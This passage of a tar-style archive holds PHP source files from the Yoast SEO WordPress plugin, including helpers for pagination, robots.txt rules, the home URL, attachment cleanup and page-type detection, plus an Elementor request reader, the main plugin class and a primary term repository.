		$this->wp_query_wrapper   = $wp_query_wrapper;
	}

	/**
	 * Checks whether adjacent rel links are disabled.
	 *
	 * @return bool Whether adjacent rel links are disabled or not.
	 */
	public function is_rel_adjacent_disabled() {
		/**
		 * Filter: 'wpseo_disable_adjacent_rel_links' - Allows disabling of Yoast adjacent links if this is being handled by other code.
		 *
		 * @param bool $links_generated Indicates if other code has handled adjacent links.
		 */
		return \apply_filters( 'wpseo_disable_adjacent_rel_links', false );
	}

	/**
	 * Builds a paginated URL.
	 *
	 * @param string $url                   The un-paginated URL of the current archive.
	 * @param string $page                  The page number to add on to $url for the $link tag.
	 * @param bool   $add_pagination_base   Optional. Whether to add the pagination base (`page`) to the url.
	 * @param string $pagination_query_name Optional. The name of the query argument that holds the current page.
	 *
	 * @return string The paginated URL.
	 */
	public function get_paginated_url( $url, $page, $add_pagination_base = true, $pagination_query_name = 'page' ) {
		$wp_rewrite = $this->wp_rewrite_wrapper->get();

		$key_query_loop = $this->get_key_query_loop();
		if ( $key_query_loop ) {
			$pagination_query_name = $key_query_loop;
		}

		if ( $wp_rewrite->using_permalinks() && ! $key_query_loop ) {
			$url_parts      = \wp_parse_url( $url );
			$has_url_params = \array_key_exists( 'query', $url_parts );

			if ( $has_url_params ) {
				// We need to first remove the query params, before potentially adding the pagination parts.
				\wp_parse_str( $url_parts['query'], $query_parts );

				$url = \trailingslashit( \remove_query_arg( \array_keys( $query_parts ), $url ) );

				if ( $add_pagination_base ) {
					$url .= \trailingslashit( $wp_rewrite->pagination_base );
				}

				// We can now re-add the query params, after appending the last pagination parts.
				return \add_query_arg( $query_parts, \user_trailingslashit( $url . $page ) );
			}

			$url = \trailingslashit( $url );
			if ( $add_pagination_base ) {
				$url .= \trailingslashit( $wp_rewrite->pagination_base );
			}

			return \user_trailingslashit( $url . $page );
		}

		return \add_query_arg( $pagination_query_name, $page, \user_trailingslashit( $url ) );
	}

	/**
	 * Gets the number of archive pages.
	 *
	 * @return int The number of archive pages.
	 */
	public function get_number_of_archive_pages() {
		$wp_query = $this->wp_query_wrapper->get_query();

		return (int) $wp_query->max_num_pages;
	}

	/**
	 * Returns the current page for paged archives.
	 *
	 * @return int The current archive page.
	 */
	public function get_current_archive_page_number() {
		$wp_query    = $this->wp_query_wrapper->get_main_query();
		$page_number = (int) $wp_query->get( 'paged' );
		if ( $page_number > 1 ) {
			return $page_number;
		}

		$query_loop_page_number = $this->get_page_number_from_query_loop();

		if ( $query_loop_page_number ) {
			return $query_loop_page_number;
		}
		return 0;
	}

	/**
	 * Returns the current page for paged post types.
	 *
	 * @return int The current post page.
	 */
	public function get_current_post_page_number() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		$query_loop_page_number = $this->get_page_number_from_query_loop();

		if ( $query_loop_page_number ) {
			return $query_loop_page_number;
		}

		return (int) $wp_query->get( 'page' );
	}

	/**
	 * Returns the current page number.
	 *
	 * @return int The current page number.
	 */
	public function get_current_page_number() {
		// Get the page number for an archive page.
		$page_number = \get_query_var( 'paged', 1 );
		if ( $page_number > 1 ) {
			return $page_number;
		}

		$query_loop_page_number = $this->get_page_number_from_query_loop();

		if ( $query_loop_page_number ) {
			return $query_loop_page_number;
		}

		// Get the page number for a page in a paginated post.
		return \get_query_var( 'page', 1 );
	}

	/**
	 * Returns the key of the query loop.
	 *
	 * @return string The key of the query loop.
	 */
	public function get_key_query_loop() {
		$regex_pattern = '/^query-\d+-page$/';
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- not form data.
		foreach ( $_GET as $key => $value ) {
			if ( \preg_match( $regex_pattern, $key ) ) {
				return $key;
			}
		}
		return '';
	}

	/**
	 * Returns the page number from the query loop.
	 *
	 * @return string The page number from the query loop.
	 */
	public function get_page_number_from_query_loop() {
		$key_query_loop = $this->get_key_query_loop();

		if ( $key_query_loop ) {
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated,WordPress.Security.NonceVerification.Recommended -- Validated in get_key_query_loop().
			$page_number = (int) $_GET[ $key_query_loop ];
			if ( $page_number > 1 ) {
				return $page_number;
			}
		}
		return '';
	}
}
wordpress-seo/src/helpers/robots-txt-helper.php000064400000005242147510273100015727 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use Yoast\WP\SEO\Values\Robots\User_Agent_List;

/**
 * A helper object for the robots txt file.
 */
class Robots_Txt_Helper {

	/**
	 * Holds a list of user agents with directives.
	 *
	 * @var User_Agent_List
	 */
	protected $robots_txt_user_agents;

	/**
	 * Holds an array with absolute URLs of sitemaps.
	 *
	 * @var array
	 */
	protected $robots_txt_sitemaps;

	/**
	 * Constructor for Robots_Txt_Helper.
	 */
	public function __construct() {
		$this->robots_txt_user_agents = new User_Agent_List();
		$this->robots_txt_sitemaps    = [];
	}

	/**
	 * Add a disallow rule for a specific user agent if it does not exist yet.
	 *
	 * @param string $user_agent The user agent to add the disallow rule to.
	 * @param string $path       The path to add as a disallow rule.
	 *
	 * @return void
	 */
	public function add_disallow( $user_agent, $path ) {
		$user_agent_container = $this->robots_txt_user_agents->get_user_agent( $user_agent );
		$user_agent_container->add_disallow_directive( $path );
	}

	/**
	 * Add an allow rule for a specific user agent if it does not exist yet.
	 *
	 * @param string $user_agent The user agent to add the allow rule to.
	 * @param string $path       The path to add as a allow rule.
	 *
	 * @return void
	 */
	public function add_allow( $user_agent, $path ) {
		$user_agent_container = $this->robots_txt_user_agents->get_user_agent( $user_agent );
		$user_agent_container->add_allow_directive( $path );
	}

	/**
	 * Add sitemap to robots.txt if it does not exist yet.
	 *
	 * @param string $absolute_path The absolute path to the sitemap to add.
	 *
	 * @return void
	 */
	public function add_sitemap( $absolute_path ) {
		if ( ! \in_array( $absolute_path, $this->robots_txt_sitemaps, true ) ) {
			$this->robots_txt_sitemaps[] = $absolute_path;
		}
	}

	/**
	 * Get all registered disallow directives per user agent.
	 *
	 * @return array The registered disallow directives per user agent.
	 */
	public function get_disallow_directives() {
		return $this->robots_txt_user_agents->get_disallow_directives();
	}

	/**
	 * Get all registered allow directives per user agent.
	 *
	 * @return array The registered allow directives per user agent.
	 */
	public function get_allow_directives() {
		return $this->robots_txt_user_agents->get_allow_directives();
	}

	/**
	 * Get all registered sitemap rules.
	 *
	 * @return array The registered sitemap rules.
	 */
	public function get_sitemap_rules() {
		return $this->robots_txt_sitemaps;
	}

	/**
	 * Get all registered user agents
	 *
	 * @return array The registered user agents.
	 */
	public function get_robots_txt_user_agents() {
		return $this->robots_txt_user_agents->get_user_agents();
	}
}
wordpress-seo/src/helpers/home-url-helper.php000064400000001402147510273100015324 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for the home URL.
 */
class Home_Url_Helper {

	/**
	 * The home url.
	 *
	 * @var string
	 */
	protected static $home_url;

	/**
	 * The parsed home url.
	 *
	 * @var array
	 */
	protected static $parsed_home_url;

	/**
	 * Retrieves the home url.
	 *
	 * @return string The home url.
	 */
	public function get() {
		if ( static::$home_url === null ) {
			static::$home_url = \home_url();
		}

		return static::$home_url;
	}

	/**
	 * Retrieves the home url that has been parsed.
	 *
	 * @return array The parsed url.
	 */
	public function get_parsed() {
		if ( static::$parsed_home_url === null ) {
			static::$parsed_home_url = \wp_parse_url( $this->get() );
		}

		return static::$parsed_home_url;
	}
}
wordpress-seo/src/helpers/import-helper.php000064400000001314147510273100015110 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * The Import Helper.
 */
class Import_Helper {

	/**
	 * Flattens a multidimensional array of settings. Recursive.
	 *
	 * @param array  $array_to_flatten The array to be flattened.
	 * @param string $key_prefix       The key to be used as a prefix.
	 *
	 * @return array The flattened array.
	 */
	public function flatten_settings( $array_to_flatten, $key_prefix = '' ) {
		$result = [];
		foreach ( $array_to_flatten as $key => $value ) {
			if ( \is_array( $value ) ) {
				$result = \array_merge( $result, $this->flatten_settings( $value, $key_prefix . '/' . $key ) );
			}
			else {
				$result[ $key_prefix . '/' . $key ] = $value;
			}
		}

		return $result;
	}
}
wordpress-seo/src/helpers/attachment-cleanup-helper.php000064400000004366147510273100017365 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use Yoast\WP\Lib\Model;

/**
 * A helper object for the cleanup of attachments.
 */
class Attachment_Cleanup_Helper {

	/**
	 * Removes all indexables for attachments.
	 *
	 * @param bool $suppress_errors Whether to suppress db errors when running the cleanup query.
	 *
	 * @return void
	 */
	public function remove_attachment_indexables( $suppress_errors ) {
		global $wpdb;

		if ( $suppress_errors ) {
			// If migrations haven't been completed successfully the following may give false errors. So suppress them.
			$show_errors       = $wpdb->show_errors;
			$wpdb->show_errors = false;
		}

		$indexable_table = Model::get_table_name( 'Indexable' );

		$delete_query = "DELETE FROM $indexable_table WHERE object_type = 'post' AND object_sub_type = 'attachment'";

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		$wpdb->query( $delete_query );
		// phpcs:enable

		if ( $suppress_errors ) {
			$wpdb->show_errors = $show_errors;
		}
	}

	/**
	 * Cleans all attachment links in the links table from target indexable ids.
	 *
	 * @param bool $suppress_errors Whether to suppress db errors when running the cleanup query.
	 *
	 * @return void
	 */
	public function clean_attachment_links_from_target_indexable_ids( $suppress_errors ) {
		global $wpdb;

		if ( $suppress_errors ) {
			// If migrations haven't been completed successfully the following may give false errors. So suppress them.
			$show_errors       = $wpdb->show_errors;
			$wpdb->show_errors = false;
		}

		$links_table = Model::get_table_name( 'SEO_Links' );

		$query = "UPDATE $links_table SET target_indexable_id = NULL WHERE type = 'image-in'";

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		$wpdb->query( $query );
		// phpcs:enable

		if ( $suppress_errors ) {
			$wpdb->show_errors = $show_errors;
		}
	}
}
wordpress-seo/src/helpers/current-page-helper.php000064400000031244147510273100016177 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WP_Post;
use Yoast\WP\SEO\Wrappers\WP_Query_Wrapper;

/**
 * A helper object for WordPress posts.
 */
class Current_Page_Helper {

	/**
	 * The WP Query wrapper.
	 *
	 * @var WP_Query_Wrapper
	 */
	private $wp_query_wrapper;

	/**
	 * Current_Page_Helper constructor.
	 *
	 * @codeCoverageIgnore It only sets dependencies.
	 *
	 * @param WP_Query_Wrapper $wp_query_wrapper The wrapper for WP_Query.
	 */
	public function __construct(
		WP_Query_Wrapper $wp_query_wrapper
	) {
		$this->wp_query_wrapper = $wp_query_wrapper;
	}

	/**
	 * Returns the page type for the current request.
	 *
	 * @codeCoverageIgnore It just depends on other functions for its result.
	 *
	 * @return string Page type.
	 */
	public function get_page_type() {
		switch ( true ) {
			case $this->is_search_result():
				return 'Search_Result_Page';
			case $this->is_static_posts_page():
				return 'Static_Posts_Page';
			case $this->is_home_static_page():
				return 'Static_Home_Page';
			case $this->is_home_posts_page():
				return 'Home_Page';
			case $this->is_simple_page():
				return 'Post_Type';
			case $this->is_post_type_archive():
				return 'Post_Type_Archive';
			case $this->is_term_archive():
				return 'Term_Archive';
			case $this->is_author_archive():
				return 'Author_Archive';
			case $this->is_date_archive():
				return 'Date_Archive';
			case $this->is_404():
				return 'Error_Page';
		}

		return 'Fallback';
	}

	/**
	 * Checks if the currently opened page is a simple page.
	 *
	 * @return bool Whether the currently opened page is a simple page.
	 */
	public function is_simple_page() {
		return $this->get_simple_page_id() > 0;
	}

	/**
	 * Returns the id of the currently opened page.
	 *
	 * @return int The id of the currently opened page.
	 */
	public function get_simple_page_id() {
		if ( \is_singular() ) {
			return \get_the_ID();
		}

		if ( $this->is_posts_page() ) {
			return \get_option( 'page_for_posts' );
		}

		/**
		 * Filter: Allow changing the default page id.
		 *
		 * @param int $page_id The default page id.
		 */
		return \apply_filters( 'wpseo_frontend_page_type_simple_page_id', 0 );
	}

	/**
	 * Returns the id of the currently opened author archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return int The id of the currently opened author archive.
	 */
	public function get_author_id() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->get( 'author' );
	}

	/**
	 * Returns the id of the front page.
	 *
	 * @return int The id of the front page. 0 if the front page is not a static page.
	 */
	public function get_front_page_id() {
		if ( \get_option( 'show_on_front' ) !== 'page' ) {
			return 0;
		}

		return (int) \get_option( 'page_on_front' );
	}

	/**
	 * Returns the id of the currently opened term archive.
	 *
	 * @return int The id of the currently opened term archive.
	 */
	public function get_term_id() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		if ( $wp_query->is_tax() || $wp_query->is_tag() || $wp_query->is_category() ) {
			$queried_object = $wp_query->get_queried_object();
			if ( $queried_object && ! \is_wp_error( $queried_object ) ) {
				return $queried_object->term_id;
			}
		}

		return 0;
	}

	/**
	 * Returns the post type of the main query.
	 *
	 * @return string The post type of the main query.
	 */
	public function get_queried_post_type() {
		$wp_query  = $this->wp_query_wrapper->get_main_query();
		$post_type = $wp_query->get( 'post_type' );
		if ( \is_array( $post_type ) ) {
			$post_type = \reset( $post_type );
		}

		return $post_type;
	}

	/**
	 * Returns the permalink of the currently opened date archive.
	 * If the permalink was cached, it returns this permalink.
	 * If not, we call another function to get the permalink through wp_query.
	 *
	 * @return string The permalink of the currently opened date archive.
	 */
	public function get_date_archive_permalink() {
		static $date_archive_permalink;

		if ( isset( $date_archive_permalink ) ) {
			return $date_archive_permalink;
		}

		$date_archive_permalink = $this->get_non_cached_date_archive_permalink();

		return $date_archive_permalink;
	}

	/**
	 * Determine whether this is the homepage and shows posts.
	 *
	 * @return bool Whether or not the current page is the homepage that displays posts.
	 */
	public function is_home_posts_page() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		if ( ! $wp_query->is_home() ) {
			return false;
		}

		/*
		 * Whether the static page's `Homepage` option is actually not set to a page.
		 * Otherwise WordPress proceeds to handle the homepage as a `Your latest posts` page.
		 */
		if ( (int) \get_option( 'page_on_front' ) === 0 ) {
			return true;
		}

		return \get_option( 'show_on_front' ) === 'posts';
	}

	/**
	 * Determine whether this is the static frontpage.
	 *
	 * @return bool Whether or not the current page is a static frontpage.
	 */
	public function is_home_static_page() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		if ( ! $wp_query->is_front_page() ) {
			return false;
		}

		if ( \get_option( 'show_on_front' ) !== 'page' ) {
			return false;
		}

		return $wp_query->is_page( \get_option( 'page_on_front' ) );
	}

	/**
	 * Determine whether this is the static posts page.
	 *
	 * @return bool Whether or not the current page is a static posts page.
	 */
	public function is_static_posts_page() {
		$wp_query       = $this->wp_query_wrapper->get_main_query();
		$queried_object = $wp_query->get_queried_object();

		return (
			$wp_query->is_posts_page
			&& \is_a( $queried_object, WP_Post::class )
			&& $queried_object->post_type === 'page'
		);
	}

	/**
	 * Determine whether this is the statically set posts page, when it's not the frontpage.
	 *
	 * @return bool Whether or not it's a non-frontpage, statically set posts page.
	 */
	public function is_posts_page() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		if ( ! $wp_query->is_home() ) {
			return false;
		}

		return \get_option( 'show_on_front' ) === 'page';
	}

	/**
	 * Determine whether this is a post type archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is a post type archive.
	 */
	public function is_post_type_archive() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_post_type_archive();
	}

	/**
	 * Determine whether this is a term archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is a term archive.
	 */
	public function is_term_archive() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_tax || $wp_query->is_tag || $wp_query->is_category;
	}

	/**
	 * Determine whether this is an attachment page.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is an attachment page.
	 */
	public function is_attachment() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_attachment;
	}

	/**
	 * Determine whether this is an author archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is an author archive.
	 */
	public function is_author_archive() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_author();
	}

	/**
	 * Determine whether this is an date archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is an date archive.
	 */
	public function is_date_archive() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_date();
	}

	/**
	 * Determine whether this is a search result.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is a search result.
	 */
	public function is_search_result() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_search();
	}

	/**
	 * Determine whether this is a 404 page.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is a 404 page.
	 */
	public function is_404() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_404();
	}

	/**
	 * Checks if the current page is the post format archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether or not the current page is the post format archive.
	 */
	public function is_post_format_archive() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_tax( 'post_format' );
	}

	/**
	 * Determine whether this page is an taxonomy archive page for multiple terms (url: /term-1,term2/).
	 *
	 * @return bool Whether or not the current page is an archive page for multiple terms.
	 */
	public function is_multiple_terms_page() {
		if ( ! $this->is_term_archive() ) {
			return false;
		}

		return $this->count_queried_terms() > 1;
	}

	/**
	 * Checks whether the current page is paged.
	 *
	 * @codeCoverageIgnore This method only calls a WordPress function.
	 *
	 * @return bool Whether the current page is paged.
	 */
	public function is_paged() {
		return \is_paged();
	}

	/**
	 * Checks if the current page is the front page.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether or not the current page is the front page.
	 */
	public function is_front_page() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_front_page();
	}

	/**
	 * Retrieves the current admin page.
	 *
	 * @codeCoverageIgnore It only wraps a global WordPress variable.
	 *
	 * @return string The current page.
	 */
	public function get_current_admin_page() {
		global $pagenow;

		return $pagenow;
	}

	/**
	 * Check if the current opened page is a Yoast SEO page.
	 *
	 * @return bool True when current page is a yoast seo plugin page.
	 */
	public function is_yoast_seo_page() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only using the variable in the strpos function.
			$current_page = \wp_unslash( $_GET['page'] );
			return \strpos( $current_page, 'wpseo_' ) === 0;
		}
		return false;
	}

	/**
	 * Returns the current Yoast SEO page.
	 * (E.g. the `page` query variable in the URL).
	 *
	 * @return string The current Yoast SEO page.
	 */
	public function get_current_yoast_seo_page() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return \sanitize_text_field( \wp_unslash( $_GET['page'] ) );
		}

		return '';
	}

	/**
	 * Checks if the current global post is the privacy policy page.
	 *
	 * @return bool current global post is set as privacy page
	 */
	public function current_post_is_privacy_policy() {
		global $post;

		if ( ! isset( $post->ID ) ) {
			return false;
		}

		return \intval( $post->ID ) === \intval( \get_option( 'wp_page_for_privacy_policy', false ) );
	}

	/**
	 * Returns the permalink of the currently opened date archive.
	 *
	 * @return string The permalink of the currently opened date archive.
	 */
	protected function get_non_cached_date_archive_permalink() {
		$date_archive_permalink = '';
		$wp_query               = $this->wp_query_wrapper->get_main_query();

		if ( $wp_query->is_day() ) {
			$date_archive_permalink = \get_day_link( $wp_query->get( 'year' ), $wp_query->get( 'monthnum' ), $wp_query->get( 'day' ) );
		}
		if ( $wp_query->is_month() ) {
			$date_archive_permalink = \get_month_link( $wp_query->get( 'year' ), $wp_query->get( 'monthnum' ) );
		}
		if ( $wp_query->is_year() ) {
			$date_archive_permalink = \get_year_link( $wp_query->get( 'year' ) );
		}

		return $date_archive_permalink;
	}

	/**
	 * Counts the total amount of queried terms.
	 *
	 * @codeCoverageIgnore This relies too much on WordPress dependencies.
	 *
	 * @return int The amoumt of queried terms.
	 */
	protected function count_queried_terms() {
		$wp_query = $this->wp_query_wrapper->get_main_query();
		$term     = $wp_query->get_queried_object();

		$queried_terms = $wp_query->tax_query->queried_terms;
		if ( \is_null( $term ) || empty( $queried_terms[ $term->taxonomy ]['terms'] ) ) {
			return 0;
		}

		return \count( $queried_terms[ $term->taxonomy ]['terms'] );
	}
}
wordpress-seo/src/helpers/import-cursor-helper.php000064400000002563147510273100016432 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * The Import Cursor Helper.
 */
class Import_Cursor_Helper {

	/**
	 * The Options_Helper.
	 *
	 * @var Options_Helper
	 */
	public $options;

	/**
	 * Class constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct(
		Options_Helper $options
	) {
		$this->options = $options;
	}

	/**
	 * Returns the stored cursor value.
	 *
	 * @param string $cursor_id     The cursor id.
	 * @param mixed  $default_value The default value if no cursor has been set yet.
	 *
	 * @return int The stored cursor value.
	 */
	public function get_cursor( $cursor_id, $default_value = 0 ) {
		$import_cursors = $this->options->get( 'import_cursors', [] );

		return ( isset( $import_cursors[ $cursor_id ] ) ) ? $import_cursors[ $cursor_id ] : $default_value;
	}

	/**
	 * Stores the current cursor value.
	 *
	 * @param string $cursor_id        The cursor id.
	 * @param int    $last_imported_id The id of the lastly imported entry.
	 *
	 * @return void
	 */
	public function set_cursor( $cursor_id, $last_imported_id ) {
		$current_cursors = $this->options->get( 'import_cursors', [] );

		if ( ! isset( $current_cursors[ $cursor_id ] ) || $current_cursors[ $cursor_id ] < $last_imported_id ) {
			$current_cursors[ $cursor_id ] = $last_imported_id;
			$this->options->set( 'import_cursors', $current_cursors );
		}
	}
}
wordpress-seo/src/elementor/infrastructure/request-post.php000064400000011154147510273100020407 0ustar00<?php

namespace Yoast\WP\SEO\Elementor\Infrastructure;

use WP_Post;

/**
 * Retrieve the WP_Post from the request.
 */
class Request_Post {

	/**
	 * Retrieves the WP_Post, applicable to the current request.
	 *
	 * @return WP_Post|null
	 */
	public function get_post(): ?WP_Post {
		return \get_post( $this->get_post_id() );
	}

	/**
	 * Retrieves the post ID, applicable to the current request.
	 *
	 * @return int|null The post ID.
	 */
	public function get_post_id(): ?int {
		switch ( $this->get_server_request_method() ) {
			case 'GET':
				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
				if ( isset( $_GET['post'] ) && \is_numeric( $_GET['post'] ) ) {
					// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Recommended -- Reason: No sanitization needed because we cast to an integer,We are not processing form information.
					return (int) \wp_unslash( $_GET['post'] );
				}

				break;
			case 'POST':
				// Only allow POST requests when doing AJAX.
				if ( ! \wp_doing_ajax() ) {
					break;
				}

				switch ( $this->get_post_action() ) {
					// Our Yoast SEO form submission, it should include `post_id`.
					case 'wpseo_elementor_save':
						// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
						if ( isset( $_POST['post_id'] ) && \is_numeric( $_POST['post_id'] ) ) {
							// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Missing -- Reason: No sanitization needed because we cast to an integer,We are not processing form information.
							return (int) \wp_unslash( $_POST['post_id'] );
						}

						break;
					// Elementor editor AJAX request.
					case 'elementor_ajax':
						return $this->get_document_id();
				}

				break;
		}

		return null;
	}

	/**
	 * Returns the server request method.
	 *
	 * @return string The server request method, in upper case.
	 */
	private function get_server_request_method(): ?string {
		if ( ! isset( $_SERVER['REQUEST_METHOD'] ) ) {
			return null;
		}

		if ( ! \is_string( $_SERVER['REQUEST_METHOD'] ) ) {
			return null;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only comparing it later.
		return \strtoupper( \wp_unslash( $_SERVER['REQUEST_METHOD'] ) );
	}

	/**
	 * Retrieves the action from the POST request.
	 *
	 * @return string|null The action or null if not found.
	 */
	private function get_post_action(): ?string {
		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
		if ( isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing.
			return (string) \wp_unslash( $_POST['action'] );
		}

		return null;
	}

	/**
	 * Retrieves the document ID from the POST request.
	 *
	 * Note: this is specific to Elementor' `elementor_ajax` action. And then the `get_document_config` internal action.
	 * Currently, you can see this in play when:
	 * - showing the Site Settings in the Elementor editor
	 * - going to another Recent post/page in the Elementor editor V2
	 *
	 * @return int|null The document ID or null if not found.
	 */
	private function get_document_id(): ?int {
		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
		if ( ! ( isset( $_POST['actions'] ) && \is_string( $_POST['actions'] ) ) ) {
			return null;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Missing -- Reason: No sanitization needed because we cast to an integer (after JSON decode and type/exist checks),We are not processing form information.
		$actions = \json_decode( \wp_unslash( $_POST['actions'] ), true );
		if ( ! \is_array( $actions ) ) {
			return null;
		}

		// Elementor sends everything in a `document-{ID}` format.
		$action = \array_shift( $actions );
		if ( $action === null ) {
			return null;
		}

		// There are multiple action types. We only care about the "get_document_config" one.
		if ( ! ( isset( $action['action'] ) && $action['action'] === 'get_document_config' ) ) {
			return null;
		}

		// Return the ID from the data, if it is set and numeric.
		if ( isset( $action['data']['id'] ) && \is_numeric( $action['data']['id'] ) ) {
			return (int) $action['data']['id'];
		}

		return null;
	}
}
wordpress-seo/src/main.php000064400000003513147510273100011606 0ustar00<?php

namespace Yoast\WP\SEO;

use Yoast\WP\Lib\Abstract_Main;
use Yoast\WP\SEO\Dependency_Injection\Container_Compiler;
use Yoast\WP\SEO\Generated\Cached_Container;
use Yoast\WP\SEO\Surfaces\Classes_Surface;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;
use Yoast\WP\SEO\Surfaces\Meta_Surface;

if ( ! \defined( 'WPSEO_VERSION' ) ) {
	\header( 'Status: 403 Forbidden' );
	\header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

/**
 * Class Main.
 *
 * @property Classes_Surface $classes      The classes surface.
 * @property Meta_Surface    $meta         The meta surface.
 * @property Helpers_Surface $helpers      The helpers surface.
 */
class Main extends Abstract_Main {

	/**
	 * The API namespace constant.
	 *
	 * @var string
	 */
	public const API_V1_NAMESPACE = 'yoast/v1';

	/**
	 * The WP CLI namespace constant.
	 *
	 * @var string
	 */
	public const WP_CLI_NAMESPACE = 'yoast';

	/**
	 * {@inheritDoc}
	 */
	protected function get_container() {
		if ( $this->is_development() && \class_exists( '\Yoast\WP\SEO\Dependency_Injection\Container_Compiler' ) ) {
			// Exception here is unhandled as it will only occur in development.
			Container_Compiler::compile(
				$this->is_development(),
				__DIR__ . '/generated/container.php',
				__DIR__ . '/../config/dependency-injection/services.php',
				__DIR__ . '/../vendor/composer/autoload_classmap.php',
				'Yoast\WP\SEO\Generated'
			);
		}

		if ( \file_exists( __DIR__ . '/generated/container.php' ) ) {
			require_once __DIR__ . '/generated/container.php';

			return new Cached_Container();
		}

		return null;
	}

	/**
	 * {@inheritDoc}
	 */
	protected function get_name() {
		return 'yoast-seo';
	}

	/**
	 * {@inheritDoc}
	 */
	protected function get_surfaces() {
		return [
			'classes' => Classes_Surface::class,
			'meta'    => Meta_Surface::class,
			'helpers' => Helpers_Surface::class,
		];
	}
}
wordpress-seo/src/repositories/primary-term-repository.php000064400000002236147510273100020257 0ustar00<?php

namespace Yoast\WP\SEO\Repositories;

use Yoast\WP\Lib\Model;
use Yoast\WP\Lib\ORM;
use Yoast\WP\SEO\Models\Primary_Term;

/**
 * Class Primary_Term_Repository.
 */
class Primary_Term_Repository {

	/**
	 * Starts a query for this repository.
	 *
	 * @return ORM
	 */
	public function query() {
		return Model::of_type( 'Primary_Term' );
	}

	/**
	 * Retrieves a primary term by a post ID and taxonomy.
	 *
	 * @param int    $post_id     The post the indexable is based upon.
	 * @param string $taxonomy    The taxonomy the indexable belongs to.
	 * @param bool   $auto_create Optional. Creates an indexable if it does not exist yet.
	 *
	 * @return Primary_Term|null Instance of a primary term.
	 */
	public function find_by_post_id_and_taxonomy( $post_id, $taxonomy, $auto_create = true ) {
		/**
		 * Instance of the primary term.
		 *
		 * @var Primary_Term $primary_term_indexable
		 */
		$primary_term_indexable = $this->query()
			->where( 'post_id', $post_id )
			->where( 'taxonomy', $taxonomy )
			->find_one();

		if ( $auto_create && ! $primary_term_indexable ) {
			$primary_term_indexable = $this->query()->create();
		}

		return $primary_term_indexable;
	}
}
